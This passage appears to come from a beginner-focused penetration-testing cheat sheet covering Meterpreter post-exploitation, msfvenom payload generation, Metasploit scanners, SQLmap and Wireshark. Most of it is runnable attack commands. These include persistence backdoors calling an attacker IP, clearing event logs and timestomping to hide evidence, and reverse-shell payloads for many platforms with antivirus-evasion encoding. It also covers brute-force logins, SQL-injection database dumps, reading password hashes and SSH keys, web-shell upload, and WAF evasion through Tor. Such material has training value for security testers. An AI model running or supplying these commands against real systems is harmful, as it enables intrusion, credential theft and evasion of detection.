# -s 192.168.2.0/24 ← Subnet to route
# Now can attack 192.168.2.0/24 through this host!
# Scan internal network:
meterpreter > run arp_scanner -r 192.168.2.0/24
# === PERSISTENCE ===
# Install backdoor:
meterpreter > run persistence -X -i 10 -p 4444 -r 192.168.1.50
# -X ← Start on boot
# -i 10 ← Connect every 10 seconds
# -p 4444 ← Port
# -r 192.168.1.50 ← Attacker IP
# === MISCELLANEOUS ===
# Shell access (cmd/bash):
meterpreter > shell
# Drops to system shell
# Exit shell: exit (returns to meterpreter)
# Clear event logs:
meterpreter > clearev
# Clears: Application, System, Security logs
# Removes evidence!
# Timestomp (modify file timestamps):
meterpreter > timestomp C:\\backdoor.exe -z "2020-01-01 00:00:00"
# Makes file look old (anti-forensics)
# Background session:
meterpreter > background
# Or: Ctrl+Z
# Exit meterpreter:
meterpreter > exit
Msfvenom - Payload Generator
# Msfvenom generates custom payloads for any platform!
# === LIST AVAILABLE PAYLOADS ===
# List all payloads:
msfvenom -l payloads
# Shows 500+ payloads
# List by platform:
msfvenom -l payloads | grep windows
msfvenom -l payloads | grep linux
msfvenom -l payloads | grep android
# List formats:
msfvenom -l formats
# Shows: exe, dll, elf, raw, python, powershell, etc.
# === WINDOWS PAYLOADS ===
# Windows reverse shell (EXE):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe
# FLAGS EXPLAINED FOR BEGINNERS:
# -p windows/meterpreter/reverse_tcp ← Payload type
# windows = Platform
# meterpreter = Payload (advanced shell)
# reverse_tcp = Connection type (connects TO attacker)
# LHOST=192.168.1.50 ← Attacker IP (listens here)
# LPORT=4444 ← Attacker port (listens on this port)
# -f exe ← Output format (Windows executable)
# -o shell.exe ← Output filename
# Windows reverse HTTPS (encrypted):
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.50 LPORT=443 -f exe -o shell_https.exe
# reverse_https = Encrypted connection (evade IDS!)
# Windows bind shell (target listens):
msfvenom -p windows/meterpreter/bind_tcp RHOST=192.168.1.10 LPORT=4444 -f exe -o bind_shell.exe
# bind_tcp = Target LISTENS, attacker CONNECTS
# RHOST = target IP
# Windows DLL:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f dll -o shell.dll
# DLL = Dynamic Link Library (for DLL hijacking)
# Windows service executable:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe-service -o service.exe
# exe-service = Runs as Windows service
# === LINUX PAYLOADS ===
# Linux reverse shell (ELF):
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf
# Linux bind shell:
msfvenom -p linux/x64/meterpreter/bind_tcp RHOST=192.168.1.10 LPORT=4444 -f elf -o bind.elf
# === WEB PAYLOADS ===
# PHP reverse shell:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php
# Upload to web server!
# ASP reverse shell:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp
# For IIS web servers
# JSP reverse shell:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.jsp
# For Tomcat/Java web servers
# === SCRIPTING PAYLOADS ===
# Python reverse shell:
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py
# PowerShell reverse shell:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1
# Bash reverse shell:
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.sh
# === ENCODING (AV EVASION) ===
# Encode payload (evade antivirus):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o encoded_shell.exe
# ENCODING FLAGS EXPLAINED:
# -e x86/shikata_ga_nai ← Encoder (polymorphic, changes each time!)
# -i 10 ← Iterations (encode 10 times, harder to detect)
# More iterations = better evasion but larger file
# List encoders:
msfvenom -l encoders
# === SHELLCODE FORMATS ===
# Raw shellcode (for buffer overflow):
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shellcode.bin
# C array format (for exploit development):
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f c
# Output:
# unsigned char buf[] = "\\x31\\xc0\\x50\\x68...";
# Python format:
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f python
# Output:
# buf = b"\\x31\\xc0\\x50\\x68..."
# === MOBILE PAYLOADS ===
# Android APK:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apk
# Install on target Android device!
# === LISTENER SETUP (MSFconsole) ===
# After generating payload, set up listener:
msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.50
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -j
# -j ← Run as background job
# Now execute shell.exe on target → get meterpreter session!
Metasploit Auxiliary Modules - Scanners and Tools
# Auxiliary modules = scanners, fuzzers, DoS tools (no exploitation)
# === PORT SCANNING ===
# TCP port scanner:
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.1.1-254
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 22,80,443,445,3389
msf6 auxiliary(scanner/portscan/tcp) > run
# SYN scanner (faster):
msf6 > use auxiliary/scanner/portscan/syn
msf6 auxiliary(scanner/portscan/syn) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(scanner/portscan/syn) > set PORTS 1-1000
msf6 auxiliary(scanner/portscan/syn) > run
# === SMB ENUMERATION ===
# SMB version detection:
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.1-254
msf6 auxiliary(scanner/smb/smb_version) > run
# Identifies: Windows version, SMB version
# SMB share enumeration:
msf6 > use auxiliary/scanner/smb/smb_enumshares
msf6 auxiliary(scanner/smb/smb_enumshares) > set RHOSTS 192.168.1.10
msf6 auxiliary(scanner/smb/smb_enumshares) > set SMBUser administrator
msf6 auxiliary(scanner/smb/smb_enumshares) > set SMBPass Password123
msf6 auxiliary(scanner/smb/smb_enumshares) > run
# SMB user enumeration:
msf6 > use auxiliary/scanner/smb/smb_enumusers
msf6 auxiliary(scanner/smb/smb_enumusers) > set RHOSTS 192.168.1.10
msf6 auxiliary(scanner/smb/smb_enumusers) > run
# EternalBlue vulnerability check:
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.1.1-254
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
# Checks for MS17-010 (EternalBlue!)
# === SSH ===
# SSH version scanner:
msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 auxiliary(scanner/ssh/ssh_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(scanner/ssh/ssh_version) > run
# SSH login brute force:
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.1.10
msf6 auxiliary(scanner/ssh/ssh_login) > set USER_FILE users.txt
msf6 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE passwords.txt
msf6 auxiliary(scanner/ssh/ssh_login) > run
# === FTP ===
# FTP version scanner:
msf6 > use auxiliary/scanner/ftp/ftp_version
msf6 auxiliary(scanner/ftp/ftp_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(scanner/ftp/ftp_version) > run
# FTP anonymous login check:
msf6 > use auxiliary/scanner/ftp/anonymous
msf6 auxiliary(scanner/ftp/anonymous) > set RHOSTS 192.168.1.1-254
msf6 auxiliary(scanner/ftp/anonymous) > run
# === HTTP ===
# HTTP version scanner:
msf6 > use auxiliary/scanner/http/http_version
msf6 auxiliary(scanner/http/http_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(scanner/http/http_version) > run
# Identifies: Apache, Nginx, IIS versions
# Directory scanner:
msf6 > use auxiliary/scanner/http/dir_scanner
msf6 auxiliary(scanner/http/dir_scanner) > set RHOSTS 192.168.1.10
msf6 auxiliary(scanner/http/dir_scanner) > run
# Robots.txt scanner:
msf6 > use auxiliary/scanner/http/robots_txt
msf6 auxiliary(scanner/http/robots_txt) > set RHOSTS 192.168.1.10
msf6 auxiliary(scanner/http/robots_txt) > run
# === SNMP ===
# SNMP community scanner:
msf6 > use auxiliary/scanner/snmp/snmp_enum
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 192.168.1.1-254
msf6 auxiliary(scanner/snmp/snmp_enum) > run
# === DATABASE ===
# MySQL version scanner:
msf6 > use auxiliary/scanner/mysql/mysql_version
msf6 auxiliary(scanner/mysql/mysql_version) > set RHOSTS 192.168.1.10
msf6 auxiliary(scanner/mysql/mysql_version) > run
# MySQL login brute force:
msf6 > use auxiliary/scanner/mysql/mysql_login
msf6 auxiliary(scanner/mysql/mysql_login) > set RHOSTS 192.168.1.10
msf6 auxiliary(scanner/mysql/mysql_login) > set USER_FILE users.txt
msf6 auxiliary(scanner/mysql/mysql_login) > set PASS_FILE passwords.txt
msf6 auxiliary(scanner/mysql/mysql_login) > run
# PostgreSQL version:
msf6 > use auxiliary/scanner/postgres/postgres_version
# MSSQL version:
msf6 > use auxiliary/scanner/mssql/mssql_ping
SQLmap (THE Automatic SQL Injection Tool)
What is it? SQLmap is THE industry-standard automated SQL injection tool. It detects and exploits SQL injection vulnerabilities in web applications. Supports 20+ database types, has 100+ options, and can take over entire databases automatically!
Basic SQL Injection Testing
# Simplest test (single URL with parameter):
sqlmap -u "http://target.com/page.php?id=1"
# BEGINNER EXPLANATION:
# SQLmap tests the 'id' parameter for SQL injection
# It tries different injection payloads automatically
# If vulnerable, it exploits and gives you database access!
# Test POST data:
sqlmap -u "http://target.com/login.php" --data="username=admin&password=test"
# --data ← POST parameters to test
# Test from Burp Suite request file:
sqlmap -r request.txt
# -r request.txt ← Load HTTP request from file
# How to get request.txt:
# 1. Burp Suite → Proxy → Intercept request
# 2. Right-click → Copy to file → Save as request.txt
# 3. Run sqlmap -r request.txt
# Test specific parameter:
sqlmap -u "http://target.com/page.php?id=1&name=test" -p id
# -p id ← Only test 'id' parameter (faster!)
# Test cookie:
sqlmap -u "http://target.com/page.php" --cookie="PHPSESSID=abc123; user_id=5"
# --cookie ← Include cookies (for authenticated pages)
# Test headers:
sqlmap -u "http://target.com/page.php" --headers="X-Forwarded-For: 127.0.0.1"
# --headers ← Custom HTTP headers
# User-Agent:
sqlmap -u "http://target.com/page.php" --user-agent="Mozilla/5.0"
# --user-agent ← Custom User-Agent string
Database Enumeration - Extract Data
# === STEP-BY-STEP DATABASE EXTRACTION ===
# Step 1: List all databases
sqlmap -u "http://target.com/page.php?id=1" --dbs
# --dbs ← List all database names
# Output: information_schema, mysql, webapp_db, etc.
# Step 2: List tables in specific database
sqlmap -u "http://target.com/page.php?id=1" -D webapp_db --tables
# -D webapp_db ← Select database 'webapp_db'
# --tables ← List all tables in this database
# Output: users, products, orders, admin, etc.
# Step 3: List columns in specific table
sqlmap -u "http://target.com/page.php?id=1" -D webapp_db -T users --columns
# -T users ← Select table 'users'
# --columns ← List all column names
# Output: id, username, password, email, role, etc.
# Step 4: Dump data from specific columns
sqlmap -u "http://target.com/page.php?id=1" -D webapp_db -T users -C username,password --dump
# -C username,password ← Select specific columns
# --dump ← Extract all data from these columns!
# Output: Saves to CSV file with usernames + password hashes!
# Dump entire table:
sqlmap -u "http://target.com/page.php?id=1" -D webapp_db -T users --dump
# Dumps ALL columns from 'users' table
# Dump entire database:
sqlmap -u "http://target.com/page.php?id=1" -D webapp_db --dump-all
# --dump-all ← Dump EVERYTHING in database!
# Get current database:
sqlmap -u "http://target.com/page.php?id=1" --current-db
# --current-db ← Show which database the web app uses
# Get current user:
sqlmap -u "http://target.com/page.php?id=1" --current-user
# --current-user ← Show database username (e.g., 'webapp_user@localhost')
# Check if user is DBA:
sqlmap -u "http://target.com/page.php?id=1" --is-dba
# --is-dba ← Check if current user has admin privileges
# If TRUE = you can execute OS commands!
Advanced Exploitation - OS Command Execution
# === FILE SYSTEM ACCESS ===
# Read file from server:
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd"
# --file-read ← Read file from server
# Saved locally for analysis!
# Common files to read:
# Linux:
# /etc/passwd ← User accounts
# /etc/shadow ← Password hashes (if DBA!)
# /var/www/html/config.php ← Database credentials
# /root/.ssh/id_rsa ← SSH private key
# Windows:
# C:\\Windows\\System32\\drivers\\etc\\hosts
# C:\\inetpub\\wwwroot\\web.config ← Database creds
# C:\\Users\\Administrator\\Desktop\\passwords.txt
# Write file to server (web shell!):
sqlmap -u "http://target.com/page.php?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"
# --file-write ← Local file to upload
# --file-dest ← Remote path where file will be written
# Example shell.php:
#
# Access: http://target.com/shell.php?cmd=whoami
# === OS COMMAND EXECUTION ===
# Get OS shell:
sqlmap -u "http://target.com/page.php?id=1" --os-shell
# --os-shell ← Interactive OS command shell!
# Requires: DBA privileges OR file write access
# You get: Full shell access!
# Commands:
# os-shell> whoami
# os-shell> cat /etc/passwd
# os-shell> ls -la
# Execute single command:
sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami"
# --os-cmd ← Execute one OS command
# Get SQL shell:
sqlmap -u "http://target.com/page.php?id=1" --sql-shell
# --sql-shell ← Interactive SQL query interface
# Run ANY SQL query:
# sql-shell> SELECT * FROM users;
# sql-shell> CREATE TABLE backdoor ...;
Performance & Stealth Options
# === SPEED & THREADS ===
# Multi-threading (faster!):
sqlmap -u "http://target.com/page.php?id=1" --threads=10
# --threads=10 ← Use 10 concurrent threads
# Default: 1 thread
# Max recommended: 10 (more = may crash app)
# Increase delay between requests (stealth):
sqlmap -u "http://target.com/page.php?id=1" --delay=3
# --delay=3 ← Wait 3 seconds between requests
# Use for: Evading rate limiting, IDS evasion
# Randomize delay:
sqlmap -u "http://target.com/page.php?id=1" --delay=2-5
# Random delay between 2-5 seconds
# === TECHNIQUE SELECTION ===
# Specify injection technique:
sqlmap -u "http://target.com/page.php?id=1" --technique=B
# --technique ← Injection techniques to use:
# B = Boolean-based blind
# E = Error-based
# U = UNION query-based
# S = Stacked queries
# T = Time-based blind
# Q = Inline queries
# Default: BEUSTQ (tries all)
# Fast scan (Boolean + Time only):
sqlmap -u "http://target.com/page.php?id=1" --technique=BT
# UNION-based only (fastest if works):
sqlmap -u "http://target.com/page.php?id=1" --technique=U
# === RISK & LEVEL ===
# Increase test level (more thorough):
sqlmap -u "http://target.com/page.php?id=1" --level=5
# --level=1-5 ← Test thoroughness
# 1 = Default (fast, basic tests)
# 2 = Also test cookies
# 3 = Also test User-Agent, Referer headers
# 4 = More payload variations
# 5 = Maximum tests (SLOW but complete!)
# Increase risk (more aggressive payloads):
sqlmap -u "http://target.com/page.php?id=1" --risk=3
# --risk=1-3 ← Payload aggressiveness
# 1 = Safe (won't harm database)
# 2 = Medium (heavy queries)
# 3 = Maximum (may cause damage, DoS!)
# Aggressive full scan:
sqlmap -u "http://target.com/page.php?id=1" --level=5 --risk=3 --threads=10
# Slowest but finds EVERYTHING!
Bypass Techniques - Evade WAF/IDS
# === WAF BYPASS ===
# Tamper scripts (obfuscate payloads):
sqlmap -u "http://target.com/page.php?id=1" --tamper=space2comment
# --tamper ← Use tamper script to modify payloads
# space2comment: Replaces spaces with /**/ comments
# Original: SELECT * FROM users
# Tampered: SELECT/**/FROM/**/users
# List all tamper scripts:
sqlmap --list-tampers
# Popular tampers:
# space2comment ← Replace spaces
# between ← Replace > with BETWEEN
# charencode ← URL encode characters
# charunicodeencode ← Unicode encoding
# randomcase ← RaNdOm CaSe
# space2plus ← Replace spaces with +
# versionedmorekeywords ← Add version comments
# base64encode ← Base64 encode
# Multiple tamper scripts:
sqlmap -u "http://target.com/page.php?id=1" --tamper=space2comment,randomcase
# Random User-Agent:
sqlmap -u "http://target.com/page.php?id=1" --random-agent
# --random-agent ← Use random User-Agent header
# Evades: User-Agent-based filtering
# HTTP Authentication:
sqlmap -u "http://target.com/page.php?id=1" --auth-type=Basic --auth-cred="user:pass"
# --auth-type ← Basic, Digest, or NTLM
# --auth-cred ← username:password
# Proxy:
sqlmap -u "http://target.com/page.php?id=1" --proxy="http://127.0.0.1:8080"
# --proxy ← Route through proxy (Burp Suite!)
# View all requests in Burp!
# Tor:
sqlmap -u "http://target.com/page.php?id=1" --tor
# --tor ← Route through Tor network (anonymity!)
# Must have Tor running: sudo systemctl start tor
# === BYPASS NULL BYTES ===
# Add null byte suffix:
sqlmap -u "http://target.com/page.php?id=1" --suffix="%00"
# --suffix ← Append to every payload
# Bypasses: Some WAF filters
# Add prefix:
sqlmap -u "http://target.com/page.php?id=1" --prefix="') OR 1=1--"
# --prefix ← Prepend to payload
Output & Session Management
# === OUTPUT OPTIONS ===
# Verbose output:
sqlmap -u "http://target.com/page.php?id=1" -v 3
# -v 0 ← Minimal output
# -v 1 ← Default
# -v 2 ← Verbose
# -v 3 ← Very verbose (HTTP requests shown)
# -v 4 ← Debug HTTP requests
# -v 5 ← Debug HTTP responses
# -v 6 ← Everything (maximum debug!)
# Save output to file:
sqlmap -u "http://target.com/page.php?id=1" --output-dir="/tmp/sqlmap_output"
# --output-dir ← Directory for output files
# === SESSION MANAGEMENT ===
# Resume previous session:
sqlmap -u "http://target.com/page.php?id=1" --resume
# --resume ← Continue from last scan
# SQLmap automatically saves progress!
# Flush session (start fresh):
sqlmap -u "http://target.com/page.php?id=1" --flush-session
# --flush-session ← Delete saved session data
# === AUTOMATION ===
# Batch mode (no prompts):
sqlmap -u "http://target.com/page.php?id=1" --batch
# --batch ← Accept all default options
# Use for: Automated scanning without interaction
# Crawl website and test all forms:
sqlmap -u "http://target.com" --crawl=3
# --crawl=3 ← Crawl depth (3 levels)
# Automatically tests ALL found forms!
# Test Google search results:
sqlmap -g "inurl:php?id="
# -g ← Google dorking
# Finds and tests vulnerable URLs from Google!
Database-Specific Options
# Specify DBMS (skip detection):
sqlmap -u "http://target.com/page.php?id=1" --dbms=MySQL
# --dbms ← Specify database type:
# MySQL, PostgreSQL, MSSQL, Oracle, SQLite, Access, etc.
# Faster (skips fingerprinting)!
# MySQL-specific:
sqlmap -u "http://target.com/page.php?id=1" --dbms=MySQL --dump-all --exclude-sysdbs
# --exclude-sysdbs ← Skip system databases
# Ignores: information_schema, mysql, performance_schema
# MSSQL-specific:
sqlmap -u "http://target.com/page.php?id=1" --dbms=MSSQL --sql-query="xp_cmdshell 'whoami'"
# xp_cmdshell = MSSQL command execution!
# PostgreSQL-specific:
sqlmap -u "http://target.com/page.php?id=1" --dbms=PostgreSQL --file-read="/etc/passwd"
# PostgreSQL allows file reads with COPY!
Wireshark (THE Ultimate Packet Analysis Tool)
What is Wireshark? Wireshark is the world's most popular network protocol analyzer. It captures network traffic in real-time and allows you to inspect every single packet at a microscopic level. Think of it as a "network microscope" - you can see EXACTLY what's happening on the wire, analyze protocols (HTTP, DNS, TCP, UDP, TLS, etc.), troubleshoot network issues, detect malicious activity, and reconstruct entire communication sessions.
Why Wireshark? It supports 2000+ protocols, has powerful filtering capabilities, can decrypt encrypted traffic (with keys), and provides deep inspection of every layer from Ethernet to application data. Essential for network forensics, malware analysis, pentesting, and understanding how networks work!
Installation & Interface
# Wireshark is pre-installed on Kali Linux
wireshark
# Or install on other systems:
sudo apt install wireshark # Debian/Ubuntu
sudo yum install wireshark # RedHat/CentOS
brew install wireshark # macOS
# Command-line version (tshark):
tshark --version
Beginner's Explanation:
- wireshark: Opens GUI interface for interactive packet capture and analysis
- tshark: Command-line version for scripting and automation (we'll cover this later)
- Why both? GUI for deep analysis and learning, CLI for automated processing and remote servers
Starting a Capture
# 1. Launch Wireshark GUI
wireshark
# 2. Select interface (eth0, wlan0, etc.)
# 3. Click blue shark fin to start capture
# 4. Do your network activity (browse websites, run scans, etc.)
# 5. Click red square to stop capture
# 6. Save capture: File → Save As → capture.pcap
# Capture from command line (tshark):
sudo tshark -i eth0 -w capture.pcap # Capture to file
sudo tshark -i eth0 -c 100 # Capture 100 packets
sudo tshark -i eth0 -a duration:60 # Capture for 60 seconds
sudo tshark -i eth0 -f "port 80" # Capture with filter
Flag Explanations:
- -i INTERFACE: Capture from specific network interface (eth0, wlan0, any)
- -w FILE: Write captured packets to file (creates .pcap file)
- -c COUNT: Stop after capturing COUNT packets
- -a duration:N: Auto-stop after N seconds (useful for scheduled captures)
- -f FILTER: Capture filter (BPF syntax) - filters DURING capture (reduces file size)
Capture Filters vs Display Filters
Critical Distinction: Wireshark has TWO types of filters that work completely differently!
# CAPTURE FILTERS (Applied DURING capture - uses BPF syntax):
# Set before starting capture, cannot be changed during capture
# Syntax: host, port, tcp, udp, src, dst, and, or, not
host 192.168.1.1 # Capture only traffic to/from this IP
port 80 # Capture only HTTP traffic
tcp port 443 # Capture only HTTPS traffic
src host 10.10.10.5 # Capture only from source IP
dst port 53 # Capture only to destination port 53 (DNS)
host 192.168.1.1 and port 80 # Capture HTTP traffic to/from specific IP
not broadcast and not multicast # Exclude broadcast/multicast traffic
tcp[13] & 2 != 0 # Capture only TCP SYN packets
# DISPLAY FILTERS (Applied AFTER capture - uses Wireshark syntax):
# Applied to already captured packets, can be changed anytime
# Much more powerful and flexible than capture filters!
ip.addr == 192.168.1.1 # Show traffic to/from this IP
tcp.port == 80 # Show HTTP traffic
http # Show only HTTP packets
http.request.method == "POST" # Show only HTTP POST requests
tcp.flags.syn == 1 # Show TCP SYN packets
dns.qry.name contains "google" # Show DNS queries for google
frame.len > 1000 # Show packets larger than 1000 bytes
When to Use Which?
- Capture Filters: Use when you know EXACTLY what traffic you want BEFORE starting (reduces file size)
- Display Filters: Use AFTER capture to analyze specific traffic (doesn't affect capture file)
- Best Practice: Capture everything (no capture filter), then use display filters for analysis
Essential Display Filters
# Basic Protocol Filters:
http # HTTP traffic
https # HTTPS traffic (encrypted)
dns # DNS queries/responses
tcp # TCP packets
udp # UDP packets
icmp # ICMP (ping)
arp # ARP requests/responses
ftp # FTP traffic
ssh # SSH traffic
telnet # Telnet (unencrypted!)
smtp # Email (SMTP)
# IP Address Filters:
ip.addr == 10.10.10.5 # Traffic to/from this IP
ip.src == 192.168.1.10 # Traffic FROM this source IP
ip.dst == 8.8.8.8 # Traffic TO this destination IP
!(ip.addr == 192.168.1.1) # Exclude this IP
# Port Filters:
tcp.port == 445 # SMB traffic
udp.port == 53 # DNS
tcp.dstport == 443 # HTTPS (destination port)
tcp.srcport == 1234 # From source port 1234
# HTTP-Specific Filters:
http.request # HTTP requests only
http.response # HTTP responses only
http.request.method == "GET" # GET requests
http.request.method == "POST" # POST requests
http.request.uri contains "admin" # URLs containing "admin"
http.host == "example.com" # Requests to specific host
http.cookie contains "session" # Cookies with "session"
http.response.code == 200 # HTTP 200 OK responses
http.response.code == 404 # HTTP 404 errors
http.response.code >= 400 # All HTTP errors (4xx, 5xx)
http.user_agent contains "curl" # Specific user agent
# DNS Filters:
dns.qry.name == "example.com" # DNS query for domain
dns.qry.type == 1 # A records (IPv4)
dns.qry.type == 28 # AAAA records (IPv6)
dns.flags.response == 1 # DNS responses only
# TCP Flag Filters:
tcp.flags.syn == 1 # SYN packets (connection start)
tcp.flags.ack == 1 # ACK packets
tcp.flags.reset == 1 # RST packets (connection reset)
tcp.flags.fin == 1 # FIN packets (connection close)
tcp.flags == 0x002 # SYN flag only
tcp.flags == 0x012 # SYN+ACK
tcp.flags == 0x018 # PSH+ACK (data transmission)
# Advanced Filters:
frame.len > 1000 # Large packets (> 1000 bytes)
tcp.analysis.retransmission # TCP retransmissions (network issues)
tcp.analysis.duplicate_ack # Duplicate ACKs (packet loss)
tcp.stream eq 0 # First TCP conversation
tcp.stream eq 1 # Second TCP conversation
frame.time_delta > 5 # Packets with > 5 sec gap (delays)
# String Matching:
tcp contains "password" # Packets containing "password"
http contains "Authorization" # HTTP auth headers
frame contains "admin" # Any packet with "admin"
data contains 50:41:53:53 # Hex search (PASS in ASCII)
# Combining Filters:
http and ip.addr == 10.10.10.5 # HTTP from specific IP
tcp.port == 445 and ip.src == 192.168.1.10 # SMB from source IP
(http.request.method == "POST") and (http contains "password") # POST with password
dns or http or https # Multiple protocols
!(arp or icmp) # Exclude ARP and ICMP
Filter Syntax Tips:
- Comparison: == (equals), != (not equals), > (greater), < (less), >= (greater/equal), <= (less/equal)
- Logical: and, or, not, ! (or use &&, ||, !)
- Membership: in { value1, value2 } - e.g., tcp.port in {80 443 8080}
- String matching: contains, matches (regex)
- Parentheses: Group conditions for complex filters
Follow Streams - Reconstruct Communication
# Follow TCP Stream:
# Right-click packet → Follow → TCP Stream
# Shows entire conversation in ASCII/HEX
# Follow UDP Stream:
# Right-click packet → Follow → UDP Stream
# Follow HTTP Stream:
# Right-click packet → Follow → HTTP Stream
# Shows full HTTP request + response
# Command-line (tshark):
tshark -r capture.pcap -z follow,tcp,ascii,0 # Follow TCP stream 0
tshark -r capture.pcap -z follow,tcp,hex,1 # Follow stream 1 in hex
tshark -r capture.pcap -z follow,udp,ascii,0 # Follow UDP stream
Why Follow Streams? Packets are fragmented - one HTTP request might span 10 packets. "Follow Stream" reassembles the entire conversation so you can read it like a chat transcript. Perfect for reading HTTP requests, FTP credentials, extracted files, etc.
Export Objects - Extract Files from Traffic
# GUI: File → Export Objects → HTTP/SMB/TFTP/etc.
# Extracts files transferred over these protocols
# Export HTTP objects (images, downloads, etc.):
File → Export Objects → HTTP → Save All
# Export SMB objects (files shared via SMB):
File → Export Objects → SMB
# Command-line (tshark):
tshark -r capture.pcap --export-objects http,./exported_files/
tshark -r capture.pcap --export-objects smb,./smb_files/
Real-World Use: Capture malware downloads, extract images from web browsing, recover files from SMB shares, analyze transferred documents!
Statistics & Analysis Tools
# Protocol Hierarchy (Statistics → Protocol Hierarchy):
# Shows breakdown of all protocols in capture
# Example: HTTP: 45%, DNS: 10%, TLS: 30%, etc.
# Conversations (Statistics → Conversations):
# Shows all communication pairs (who talked to who)
# Tabs: Ethernet, IPv4, IPv6, TCP, UDP
# Endpoints (Statistics → Endpoints):
# Lists all IPs/MACs and their traffic volume
# IO Graphs (Statistics → I/O Graphs):
# Visual timeline of traffic (packets/bytes over time)
# Can graph multiple filters simultaneously
# Command-line (tshark):
tshark -r capture.pcap -qz io,phs # Protocol hierarchy
tshark -r capture.pcap -qz conv,tcp # TCP conversations
tshark -r capture.pcap -qz endpoints,ip # IP endpoints
Why Use This? Get a bird's-eye view of network activity. "Who's talking to who?" "What protocols are used most?" "Which IP sent the most data?" Perfect for finding anomalies!
Expert Information - Find Problems
# Analyze → Expert Information (or bottom-left colorful button)
# Error levels:
# 🔴 Error: Serious problems (malformed packets, checksum errors)
# 🟡 Warning: Suspicious activity (retransmissions, duplicate ACKs)
# 🔵 Note: Informational (connection established, zero window)
# 💬 Chat: Normal events (TCP handshakes, HTTP requests)
# Common Expert Info:
"TCP Previous segment not captured" # Packet loss detected
"TCP Retransmission" # Packet was resent
"TCP Dup ACK" # Duplicate acknowledgment
"TCP Window Full" # Receiver buffer full
"TCP Zero Window" # Receiver can't accept more data
"Connection reset" # TCP RST sent
"Malformed Packet" # Invalid protocol data
Why Expert Info? Wireshark automatically analyzes captures and flags potential problems. Great starting point for troubleshooting!
Decrypting SSL/TLS Traffic
# Method 1: Use pre-master secret (from browser/client):
# 1. Set environment variable BEFORE starting browser:
export SSLKEYLOGFILE=/tmp/ssl_keys.log
chromium-browser # Or firefox
# 2. Browse HTTPS sites (keys logged to file)
# 3. In Wireshark: Edit → Preferences → Protocols → TLS
# → (Pre)-Master-Secret log filename → Browse to /tmp/ssl_keys.log
# 4. Reload capture - HTTPS traffic now decrypted!
# Method 2: Use server's private key (if you own the server):
# Wireshark → Edit → Preferences → Protocols → TLS
# → RSA keys list → Add:
# IP: 192.168.1.10
# Port: 443
# Protocol: http
# Key File: /path/to/server.key
# Limitations:
# - Cannot decrypt if Diffie-Hellman (DHE/ECDHE) used without key logging
# - Cannot decrypt traffic you didn't capture from the start
Real-World Use: Analyze your own HTTPS traffic for debugging, inspect encrypted malware communication (if you have keys), decrypt VPN traffic for forensics!
Command-Line Power (tshark)
# Basic tshark usage:
tshark -r capture.pcap # Read and display
tshark -r capture.pcap -Y "http" # Display filter
tshark -r capture.pcap -Y "http" -T fields -e http.host -e http.request.uri
# Extract specific fields
# Common tshark flags:
tshark -i eth0 # Capture from interface
tshark -r file.pcap # Read from file
tshark -w output.pcap # Write to file
tshark -Y "filter" # Display filter
tshark -f "filter" # Capture filter
tshark -c 100 # Capture 100 packets
tshark -a duration:60 # Auto-stop after 60 seconds
tshark -T fields # Output as fields
tshark -e field.name # Specify field to extract
tshark -E separator=, # Field separator (for CSV)
tshark -q # Quiet mode (no per-packet output)
tshark -z option # Statistics
# Extract HTTP URLs:
tshark -r capture.pcap -Y "http.request" -T fields -e http.host -e http.request.uri
# Extract DNS queries:
tshark -r capture.pcap -Y "dns.qry.type == 1" -T fields -e dns.qry.name
# Extract credentials:
tshark -r capture.pcap -Y "http" | grep -i "password"
tshark -r capture.pcap -Y "ftp" -T fields -e ftp.request.command -e ftp.request.arg
# Count packets by protocol:
tshark -r capture.pcap -qz io,phs
# Export HTTP objects:
tshark -r capture.pcap --export-objects http,./extracted/
